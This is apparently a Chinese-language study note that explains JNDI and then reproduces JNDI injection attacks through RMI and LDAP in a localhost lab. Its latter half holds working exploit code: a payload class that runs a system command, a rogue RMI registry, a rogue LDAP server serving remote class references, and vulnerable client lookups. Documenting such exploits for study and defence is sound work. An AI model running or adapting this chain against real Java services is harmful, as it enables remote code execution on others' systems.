JNDI
JNDI基础
概念
JNDI全称Java Naming and Directory Interface,JAVA命名和目录接口,是用于在JAVA程序中访问名称和目录服务的API接口。命名服务通过绑定的概念将名称和对象联系起来,使得可以使用名称访问对象。JNDI中的命名,就是将Java对象以某个名称的形式绑定到一个容器环境中,以后调用JNDI容器环境(Context)的查找(lookup)方法就可以查找出这个名称所绑定的Java对象。通俗讲,你按命名规则给一个东西命名,之后可以通过该名字在特定环境下直接查找到这个东西及其属性。比如通过人名,可以查找到这个人以及他的年龄、籍贯、性别等信息。当然人名可能有重名,但在JNDI中命名必须是唯一的。
JNDI中的目录概念与文件系统中的目录概念大相径庭。JNDI的目录是指将一个对象的所有属性信息保存在一个容器中。
在文件系统中,文件名绑定给文件;在DNS中,URL被绑定给IP地址,在目录服务中,一个对象名被绑定给一个对象实体。 JNDI提供的常用服务接口
- RMI(JAVA远程方法调用)
- LDAP(轻量级目录访问协议)
- CORBA(公共对象请求代理体系结构)
- DNS(域名服务)
代码示例
JNDI可以实现程序的解耦,使应用更加易于配置、易于部署。 下面举例在数据库连接中使用JNDI解耦代码
//原始连接数据库方式,在代码中编程数据库相关信息,资源与代码耦合,不方便维护。
<%
String url = "jdbc:mysql://localhost:3306/test" ;
String username = "root" ;
String password = "123456" ;
try{
Class.forName("com.mysql.jdbc.Driver");
Connection con = DriverManager.getConnection(url , username , password );
out.println(con);
}
catch(SQLException se){
System.out.println("数据库连接失败!");
se.printStackTrace() ;
}
%>
//使用JNDI连接数据库方式
//将数据库资源提取到context.xml配置文件中,绑定到JNDI环境中。
<?xml version="1.0" encoding="UTF-8"?>
<Context path="/">
<Resource name="jdbc/test"
auth="Container"
type="javax.sql.DataSource"
driverClassName="com.mysql.jdbc.Driver"
url="jdbc:mysql://127.0.0.1/test"
username="root"
password="123456"
maxActive="20"
maxIdle="10"
maxWait="-1"/>
</Context>
<!--
|- name:表示以后要查找的名称。通过此名称可以找到DataSource,此名称任意更换,但是程序中最终要查找的就是此名称,
|- auth:由容器进行授权及管理,指的用户名和密码是否可以在容器上生效
|- type:此名称所代表的类型,现在为javax.sql.DataSource
|- maxActive:表示一个数据库在此服务器上所能打开的最大连接数
|- maxIdle:表示一个数据库在此服务器上维持的最小连接数
|- maxWait:最大等待时间。10000毫秒
|- username:数据库连接的用户名
|- password:数据库连接的密码
|- driverClassName:数据库连接的驱动程序
|- url:数据库连接的地址
-->
//程序从JNDI环境中查找资源对象
<%
try {
//初始化名称查找上下文
Context ctx_sql = new InitialContext();
//通过JNDI名称找到数据源,java:comp/env是环境命名上下文,用于对名称定位,必须加。
DataSource ds = (DataSource)ctx_sql.lookup("java:comp/env/jdbc/test");
Connection connmysql = ds.getConnection();
System.out.println(connmysql);
out.println("Connection connmysql connected !!");
}
catch(SQLException se){
System.out.println("数据库连接失败!");
se.printStackTrace() ;
}
finally {
connmysql.close();
}
%>
<!--
J2EE中的引用常用的有
JDBC 数据源引用在java:comp/env/jdbc 子上下文中声明
JMS 连接工厂在java:comp/env/jms 子上下文中声明
JavaMail 连接工厂在java:comp/env/mail 子上下文中声明
URL 连接工厂在 java:comp/env/url子上下文中声明
-->
JNDI注入
如果JNDI名称可控可能存在JNDI注入漏洞。常见的有RMI注入和LDAP注入。
RMI+JNDI Reference Payload
RMI概念
RMI (Remote Method Invocation) 模型是一种分布式对象应用,使用 RMI 技术可以使一个 JVM 中的对象,调用另一个 JVM 中的对象方法并获取调用结果。这里的另一个 JVM 可以在同一台计算机也可以是远程计算机。因此,RMI 意味着需要一个 Server端和一个 Client端。RMI包括以下三个部分: Registry: 提供服务注册与服务获取。即Server端向Registry注册服务,比如地址、端口等一些信息,Client端从Registry获取远程对象的一些信息,如地址、端口等,然后进行远程调用。 Server: 远程方法的提供者,并向Registry注册自身提供的服务 Client: 远程方法的消费者,从Registry获取远程方法的相关信息并且调用
代码复现与调试分析
- 版本限制:低于JDK6u141,JDK7u31,JDK8u121。在这些版本中JAVA提升了JNDI限制Naming/Directory服务中的JNDI Reference远程加载Object Factory类的特性。系统属性com.sun.jndi.rmi.object.trustURLCodebase和com.sun.jndi.cosnaming.objectURLCodebase的默认值变为false,即不允许从远程的Codebase加载Rerference工厂类。
- jdk8u231 jre/lib/rt.jar!/com/sun/jndi/rmi/registry/RegistryContext.class:353
JNDI Reference类是javax.naming.Reference的Java对象。它由有关所引用对象的类信息和地址的有序列表组成。Reference还包含有助于创建引用所引用的对象实例的信息。它包含该对象的JAVA类名称,以及用于创建对象的对象工厂的类名称和位置。
//payload代码
package com.hanjiefang;
import java.io.IOException;
public class exp {
static {
try{
java.lang.Runtime.getRuntime().exec(new String[]{"cmd","/c","explorer d:\\Test"});
}
catch(IOException e)
{
e.printStackTrace();
}
}
public static void main(String[] args){}
}
//攻击代码
package com.hanjiefang;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RmiTest {
public static void main(String[] args) throws Exception
{
try{
Registry registry = LocateRegistry.createRegistry(1099);
Reference bb = new Reference("exp","exp","http://127.0.0.1:9091/");
ReferenceWrapper refObjWrapper = new ReferenceWrapper(bb);
registry.bind("exp1",refObjWrapper);
System.out.println("success");
}catch (Exception e)
{
e.printStackTrace();
}
}
}
//被攻击代码
package com.hanjiefang;
import javax.naming.InitialContext;
public class RmiCli {
public static void main(String[] args)
{
try{
String uri="rmi://127.0.0.1:1099/exp1";
InitialContext ctx = new InitialContext();
ctx.lookup(uri);
} catch (Exception e) {
e.printStackTrace();
}
}
}
http://www.codebaoku.com/it-java/it-java-231770.html
绕过高版本JDK限制
LDAP注入
LDAP概念
LDAP是轻量目录访问协议(Lightweight Directory Access Protocol)的缩写。目录服务是一个为查询、浏览和搜索而优化的专业分布式数据库,它呈树状结构组织数据,就好象Linux/Unix系统中的文件目录一样。目录数据库和关系数据库不同,它有优异的读性能,但写性能差,并且没有事务处理、回滚等复杂功能,不适于存储修改频繁的数据。所以目录天生是用来查询的,就好象它的名字一样。
LDAP代码注入复现与调试分析
利用过程与RMI基本相同,修改下协议和端口即可
//ldap服务端代码
package com.Server;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
public class LdapTest {
private static final String LDAP_BASE = "dc=example,uc=com";
public static void main(String[] argsx) {
String[] args = new String[]{"http://127.0.0.1:9091/#exp","9990"};
int port = 0;
if(args.length < 1 || args[0].indexOf("#")<0)
{
System.err.println(LdapTest.class.getSimpleName()+"<codebase_url#classname>[<port>]");
System.exit(-1);
}
else if(args.length >1)
{
port = Integer.parseInt(args[1]);
}
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen", //$NON-NLS-1$
InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
ds.startListening();
}
catch ( Exception e ) {
e.printStackTrace();
}
}
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}
@Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}
protected void sendResult (InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "foo");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}
e.addAttribute("javaCodeBase", cbstring);
e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
e.addAttribute("javaFactory", this.codebase.getRef());
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}
//被攻击代码
package com.axtx;
import javax.naming.InitialContext;
public class LdapCli {
public static void main(String[] args)
{
try{
String uri="ldap://127.0.0.1:9990/exp";
InitialContext ctx = new InitialContext();
ctx.lookup(uri);
} catch (Exception e) {
e.printStackTrace();
}
}
}